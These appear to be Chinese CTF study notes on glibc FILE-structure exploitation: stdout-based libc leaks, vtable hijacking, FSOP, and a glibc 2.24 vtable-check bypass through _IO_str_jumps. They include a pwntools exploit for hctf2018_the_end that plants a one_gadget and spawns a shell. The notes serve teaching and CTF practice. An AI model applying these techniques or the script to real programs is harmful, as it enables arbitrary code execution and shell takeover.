IO_FILE:
重要结构:
_IO_FILE:
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain; //链表的指针域
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
_IO_FILE_plus:
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;//在_IO_FILE的基础上添加vtable对象
}
_IO_jump_t:
==》vtable==》是一个虚表,存放着函数指针
===》gdb通过他的对象查看vtable实例
p/x *(struct _IO_jump_t*)_IO_list_all.vtable
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
_IO_flush_all_lockp:
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)//遍历_IO_list_all
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)/* 选出_IO_FILE作为_IO_OVERFLOW的参数,执行函数*/
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}
_IO_list_all:
gdb查看:
p/x *(struct _IO_FILE_plus*)_IO_list_all
pwndbg> p /x *(struct _IO_FILE_plus*)_IO_list_all
$2 = {
file = {
_flags = 0xfbad2086,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd2620,
_fileno = 0x2,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = {0x0},
_lock = 0x7ffff7dd3770,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd1660,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = {0x0 <repeats 20 times>}
},
vtable = 0x7ffff7dd06e0
}
基础知识:
FILE在Linux系统的标准IO库使用来描述文件结构==》文件流
FILE结构在程序执行fopen函数时会自动创建,并分配到堆中==》常定义一个指向FILE结构的指针来接收这个返回值
FILE结构源码:
FILE==》glibc/libio/libio.h(pwndbg/glibc-2.23/libio/libio.h)==》
==》
进程的FILE结构会通过_chain域彼此连接形成一个链表==》
链表头部使用全局变量_IO_LIST_ALL表示,通过这个值可以遍历所有FILE结构==》
在标准I/O库中,每个程序启动时有三个文件流时自动打开得==》stdin,stdout,stderr
==》在初始状态下,_IO_list_all指向一个有这些文件流构成得链表==》这三个文件流位于libc.so的数据段
(使用fopen创建的文件流是分配在堆内存上的)
_IO_FILE_plus结构:
_IO_FILE结构外包裹着另一种结构_IO_FILE_plus,其中包含指针vtable(虚表)指向了一系列函数指针==》
vtable虚表:具有虚函数的类都有一张vtable,其中记录了本类中所有虚函数的函数指针==》
是一个函数指针数组的起始位置,通常虚表在编程中所具有的作用是为了标识父类
==》虚函数数表既有继承性又有多态性
vtable是IO_jump_t类型的指针,IO_jump_t中保存了一些函数指针,在一系列标准IO函数中会调用中会调用这个函数指针==》
如果使用_IO_FILE_plus定义一个结构体指针==》既可以使用IO_FILE中的结构体成员变量,也能使用IO_jump_t中的函数指针
在libc2.23下,32位的vtable偏移为0x94,64位偏移为0xd8==》
pwndbg/glibc-2.23/libio/libioP.h
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail
8 NULL, // xsputn
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};
_flags规则:
IO_FILE结构体中的第一个成员变量
规则:
_flag的高两位字节是由libc固定的==》0xfbad0000
高两位字节是一个标识,标志这是一个什么文件
低两位字节的位数规则决定了程序的执行状态
低两位规则:
在执行流程中国会将_flag和定义常量进行按位与运算,并根据与运算的机构进行判断如何执行
标准库函数介绍
fread:
fread是标准IO库函数,作用为从文件流中读数据
函数原型:
size_t fread ( void *buffer, size_t size, size_t count, FILE *stream) ;
参数介绍:
buffer:存放读取数据的缓冲区
size:指定每个记录的长度
count:指定记录的个数
stream:目标文件流
返回值:返回读取到数据缓冲区中的记录个数
源码:
fread位于/libio/iofread.c中,函数名为_IO_fread,真正实现功能为子函数_IO_sgetn:
_IO_size_t
_IO_fread (buf, size, count, fp)
void *buf;
_IO_size_t size;
_IO_size_t count;
_IO_FILE *fp;
{
...
bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
...
}
_IO_sgent函数中会调用_IO_XSGETN==>是_IO_FILE_plus.vtable中的函数指针,在进行调用时会先取出vtable中的指针然后再进行调用
_IO_size_t
_IO_sgetn (fp, data, n)
_IO_FILE *fp;
void *data;
_IO_size_t n;
{
return _IO_XSGETN (fp, data, n);
}
在默认情况下函数指针指向_IO_file_xsgetn函数:
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;
continue;
}
fwrite:
fwrite是标准IO库函数,作用是向文件流写入数据
函数原型:
size_t fwrite(const void* buffer, size_t size, size_t count, FILE* stream);
buffer:指针,对fwite,是要写入数据的地址
size:要写入内容的单字节数
count:要进行写入size字节的数据项的个数
stream:目标文件指针
返回值:实际写入的数据项个数count
源码:
位于/libio/iofwrite.c中,函数名为_IO_fwrite,主要作用为调用_IO_XSPUTN来实现写入功能
==》位于_IO_FILE_plus的vtable中,调用这个函数需要首先取出vtable中的指针,再跳转进行调用
written = _IO_sputn (fp, (const char *) buf, request);
在_IO_XSPUTN对应的默认函数_IO_new_file_xsputn中会调用同样位于vtable中的_IO_OVERFLOW
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
在_IO_new_file_overflow内部最终会调用系统接口write函数
fopen:
fopen在标准IO库中用于打开文件
函数原型:
FILE *fopen(char *filename, *type);
filename:目标文件的路径
type:打开方式的类型
返回值:返回一个文件指针
执行流程:
在fopen对应的函数__fopen_internal内部会调用malloc函数,分配FILE结构的空间==》
FILE结构是存储在堆上的:
*new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));
之后会为创建的FILE初始化vtable,并调用_IO_file_init进一步初始化操作
_IO_JUMPS (&new_f->fp) = &_IO_file_jumps;
_IO_file_init (&new_f->fp);
在_IO_file_init函数初始化中,会调用_IO_link_in把新分配的FILE链入_IO_list_all为起始的FILE链表中
void
_IO_link_in (fp)
struct _IO_FILE_plus *fp;
{
if ((fp->file._flags & _IO_LINKED) == 0)
{
fp->file._flags |= _IO_LINKED;
fp->file._chain = (_IO_FILE *) _IO_list_all;
_IO_list_all = fp;
++_IO_list_all_stamp;
}
}
之后_fopen_internal函数会调用_IO_file_fopen函数打开目标文件,_IO_file_fopen会根据拥护传入的打开模式进行打开操作,最后会调用到系统接口open函数
if (_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL)
return __fopen_maybe_mmap (&new_f->fp.file);
==》fopen操作:
使用malloc分配FILE结构==》设置FILE结构的vtable==》初始化分配的FILE结构==》
将初始化的FILE结构链入FILE结构链表中==》调用系统调用打开文件
fclose:
是标准IO库中用于关闭已打开文件的函数
函数原型:
int fclose(FILE *stream)
==》关闭一个文件流,使用fclose就可以把缓冲区最后剩余的数据输出到磁盘文件中,并释放文件指针和有关的缓冲区
执行流程:
首先调用_IO_unlink_it将指定的FILE从_chain链表中脱链
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
调用_IO_file_close_it函数,_IO_file_close_it会调用系统接口close关闭文件
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
最后调用vtable中的_IO_FINSH==》对应_IO_file_finish函数,其中会调用free函数释放之前分配的FILE结构
例:
puts()函数执行流程(详细):
1、_IO_puts–>_IO_new_file_xsputn:
puts()函数在源码中的表现形式为_IO_puts==》libio/ioputs.c
在_IO_puts在过程中调用了一个叫做_IO_spitn函数(_IO_fwrite也会进行调用)
_IO_sputn==》宏==》调用_IO_2_1_stdout_中的vtable所指向的_xsputn,也就是_IO_new_file_xsputn函数
2、_IO_new_file_xsputn –>_IO_OVERFLOW
libio/fileops.c
函数执行过程:
首先进入函数之后判断输出缓冲区还有多少空间==》由_IO_write_end - _IO_write_base得来
==》这两个都是FILE结构体中的两个成员变量==》分别是输出结束地址和起始输出地址==》
stdout也是FILE结构==》接下来如果缓冲区有空间,则先把数据载入输出缓冲区并计算目标输出数据是否有剩余
经过图中判断,如果还有剩余说明输出缓冲区未建立或者空间已满==》需要通过_IO_OVERFLOW函数来建立或清空缓冲区
_IO_OVERFLOW函数主要实现刷新缓冲区或建立缓冲区,在vtable中为__overflow
3、_IO_new_file_overflow –》_IO_do_wrote
libio/fileops.c
函数执行流程:
利用点:
_IO_do_write (f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base);
==》_IO_do_write为需要执行的目标函数,该函数执行后会调用write输出到输出缓冲区
==》参数:stdout结构体,_IO_write_base(输出缓冲区起始地址)和size(由_IO_write_end - _IO_write_base得来)
利用:
事先在stdout的_IO_write_base的位置部署要输出的起始地址==》去利用_IO_do_write函数==》
打印部分内存地址==》泄漏libc
利用条件:
需要绕过_IO_new_file_overflow函数的检查==》
第一个判断:判断标志位是否包含_IO_NO_WRITES,将_flags和_IO_NO_WRITES进行一个按位与的操作
_flags与_IO_NO_WRITES各自定义的常量:
#define _IO_MAGIC 0xFBAD0000 /* 魔数 */
#define _IO_NO_WRITES 8 /* 不可写 */
==》进行按位与操作之后结果为真,返回错误==》_IO_do_write将不再执行==》
将与运算为假==》
#define _IO_MAGIC 0xFBAD0000
#define _IO_NO_WRITES 8
_flags & _IO_NO_WRITES = 0
_flags = 0xfbad0000
与运算为假后将不执行判断中语句==》
第二个判断:检查输出缓冲区是否为空
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
为空则进行分配空间,初始化指针==》会覆盖掉事先在stdout的_IO_write_base的数据==》
需要将该判断为假==》
f->_IO_write_base == NULL==》在_IO_write_base中部署数据==》0
(f->_flags & _IO_CURRENTLY_PUTTING) == 0 ==》f->_flags & _IO_CURRENTLY_PUTTING=1
==》
#define _IO_MAGIC 0xFBAD0000
#define _IO_CURRENTLY_PUTTING 0x800
f->_flags & _IO_CURRENTLY_PUTTING = 1
_flags = 0xfbad0800
4、_IO_new_do_write –> new_do_write
libio/fileops.c
函数执行流程:
掉用new_do_write函数
参数:
一参:stdout结构体
二参:输出缓冲区起始地址
三参:输出长度
5、new_do_write –> _IO_SYSWRITE
libio/fileops.c
函数执行流程:
==》_IO_SYSWRITE (fp, data, to_do);函数就是IO_FILE的最终目标,执行系统调用write==》
需要先满足两个判断其中一个==》
第一个判断(推荐使用):
只需要满足fp->_flags & _IO_IS_APPENDING = 1即可绕过判断==》
if内执行流程:
将偏移设置为标准值,对后续的输出流程没有影响
#define _IO_MAGIC 0xFBAD0000
#define _IO_IS_APPENDING 0x1000
fp->_flags & _IO_IS_APPENDING = 1
_flags = 0xfbad1000
==》到达_IO_SYSWRITE系统调用
第二个判断(不去使用):
只需满足fp->_IO_read_end = fp->_IO_write_base即可绕过判断==》
在随机保护的开启,一般是通过覆盖末位字节造成偏移,即使是随机化偏移也有0x1000的对齐==》
不去使用原因:
1、_IO_read_end和_IO_write_base存放的地址是由末位字节和其他高字节共同组成的,其他高字节由于随机化的缘故无法确定
2、
调用了_IO_SYSSEEK系统调用==》lssek函数==》
将_IO_read_end的值设置为0==》fp->_IO_write_base - fp->_IO_read_end的值变得非常大==》
导致sleek函数执行不成功导致退出
sleek函数:可以更改读写一个文件时读写指针的一个系统调用
==》载入内存的数据范围可能并不大,经过sleek函数的修改过大的偏移之后超过了数据范围的边界==》
sleek函数执行不成功导致退出==》不会到达_IO_SYSWRITE系统调用
原因总结:1,2会让我们无法完全掌控_IO_read_end和_IO_write_base中的数值==》进入else if的分支后程序执行不可控
利用总结:
对_flags设定:
#define _IO_MAGIC 0xFBAD0000
#define _IO_NO_WRITES 8
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
_flags & _IO_NO_WRITES = 0
_flags & _IO_CURRENTLY_PUTTING = 1
_flags & _IO_IS_APPENDING = 1
==》
_flags = 0xFBAD1800
==》
设置_IO_write_base指向想要泄漏的地址
_IO_write_ptr指向泄漏结束的地址(不需要一定设置指向结尾,程序中自带的地址足够泄漏libc)
伪造vtable劫持程序流程:
劫持方式:
1、改写vtable中的函数指针
2、覆盖指向vtable的指针指向我们控制的内存,在其中布置函数指针
例题:
hctf2018_the_end
1、检查保护:
2、静态分析:
关闭了输出和错误流
程序提供了libc地址
3、思路分析:
程序能够写5个字节
==》利用程序调用exit()后,会遍历_IO_list_all==》调用_IO_2_1_stdout_下的vtable中的_setbuf函数
==》可以先修改两个字节在当前vtables附近伪造一个fake_vtable,然后使用3个字节修改fake_vtables中_setbuf的内容为one_gadget
===》
1、_IO_2_1_stdout和libc的偏移:==》记作off_set_3
2、查找set_buf在虚表中的偏移:
p *(const struct _IO_jump_t *) _IO_2_1_stdout_.vtable
偏移为0x58
3、执行exit()首先遍历_IO_list_all,再去调用_IO_2_1_stdout
==》_IO_2_1_stdout:0x7ffff7dd2620
4、寻找fake_vtable,使fake_vtable_addr+0x58==libcbase+0ff_set_3
#coding=UTF-8
from pwn import *
libc=ELF()
io=process()
#io=remote()
offset_setbuf_of_vtable = 0x58
offset_vtable_of_stdout = 0xd8
offset_one_gadget = 0xF02A4
sleep_addr = io.recvuntil(', good luck',drop=True).split(' ')[-1]
sleep_addr = long(sleep_addr,16)
libc_base = sleep_addr - libc.symbols['sleep']
one_gadget_addr = libc_base + offset_one_gadget
_IO_2_1_stdout_addr = libc_base + libc.symbols['_IO_2_1_stdout_']
stdout_vtable = _IO_2_1_stdout_addr + offset_vtable_of_stdout
fake_vtable_addr = _IO_2_1_stdout_addr + 0x48
fake_vtable_setbuf = fake_vtable_addr + 0x58
for i in range(2):
io.send(p64(stdout_vtable + i))
io.send(p64(fake_vtable_addr)[i])
for i in range(3):
io.send(p64(fake_vtable_setbuf + i))
io.send(p64(one_gadget_addr)[i])
io.sendline("exec /bin/sh 1>&0")
io.interactive()
FSOP:
进程内所有的_IO_FILE结构会使用_chain域相互连接形成一个链表,由_IO_list_all维护
===》核心:劫持_IO_list_all的值来伪造链表和其中的_IO_FILE项
===》触发方法:调用_IO_flush_all_lockp(刷新_IO_list_all链表中所有项的文件流)
==》触发流程:
unsorted bin==>malloc_printerr==>__libc_message==>about==>fflush(_IO_flush_all_lockp)==>vtable
==>_IO_OVERFLOW==>get shell
==》相当于对每个FILE调用fflush(刷新缓冲区)==》
调用_IO_FILE_plus.vtable中的_IO_overflow:
int
_IO_flush_all_lockp (int do_lock)
{
...
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}
...
}
}
_IO_flush_all_lockp不需要手动调用==>
某些情况会被系统调用:
1、当libc执行about函数
2、当执行exit函数
3、当执行流从main函数返回时
利用思路:
1、需要libc基地址==>_IO_list_all是作为全局变量储存在libc中的,不泄漏libc就不能改写_IO_list_all
2、需要使用任意地址写把_IO_list_all的内容修改为指向我们可控的内存的指针
3、在可控内存中布置数据==》布置一个目标函数的vtable指针
布置依据:
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)//遍历_IO_list_all
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)/* 当前的fp指针作为_IO_OVERFLOW的参数,执行函数*/
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}
==》fp->_mode<=0 // fp->_IO_write_ptr > fp->_IO_write_base
glibc2.24利用:
glibc2.24版本加入针对IO_FILE_plus的vtable劫持的检测措施,glibc会在调用虚函数之前首先检查vtable地址的合法性==》
首先验证vtable是否位于_IO_vtable段中==》满足条件则正常执行,否则调用_IO_vtable_check做进一步检查
/* Check if unknown vtable pointers are permitted; otherwise,
terminate the process. */
void _IO_vtable_check (void) attribute_hidden;
/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
//vtable必须在__stop__libc_IO_vtable和__start__libc_IO_vtable之间
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();//引发报错函数
return vtable;
}
_IO_vtable_check:
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;
/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}
#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
return;
#endif
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}
==》如果vtable是非法的,将会引发about
==》绕过检查:
利用IO_str_jumps和IO_wstr_jumps这两个结构体可以绕过check
==》这两个vtable不在check范围内
==》
IO_str_jumps绕过:
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
==》可以利用_IO_str_finsh和_IO_str_overflow
==》
_IO_str_finsh绕过:
void _IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //call qword ptr [fp+0E8h]
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
==》
若符合条件,该函数会将((_IO_strfile *) fp)->_s._free_buffer作为函数指针来直接调用,并且把
(fp->_IO_buf_base)作为它的参数
((_IO_strfile *) fp)->_s._free_buffer实在fp+0xe8的位置上
fp->_IO_buf_base//不为空
fp->_flags & _IO_USER_BUF//为假
//构造
_flags=(binsh_libc+0x10) & ~1
_IO_buf_base=binsh_addr
_freeres_list=0x2
_freeres_buf=0x3
_mode=-1
vtable=_IO_str_finsh-0x18
fp+0xe8 -> system_addr
/////////////////////////////////////////////////////////////////////////
fp->_flags=0
vtable=_IO_str_jumps - 0x8
==》布置完后调用_IO_overflow时就会调用到_IO_str_finish
==》fp->_IO_buf_base = /bin/sh_addr // fp+0xe8 = system_addr
==》_IO_str_overflow绕过:
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)// pass
return flush_only ? 0 : EOF;
//条件需要为假
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// 为真
{
if (fp->_flags & _IO_USER_BUF)
/* not allowed to enlarge */ // pass
//需要为假
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;//指向/bin/sh字符串对应的地址
if (new_size < old_blen)//pass 一般会通过
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
//最终要劫持至该位置
//target [fp+0xe0]==》指向system地址
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
libc_hidden_def (_IO_str_overflow)
==》
fp->_flags=0
fp->_IO_buf_base=0
fp->_IO_buf_end=(bin_sh_addr - 100) / 2
fp->_IO_buf_base = /bin/sh_addr
fp + 0xe8 = system_addr
注意点:
IO_FILE必须要libc的低32位为负时才能利用成功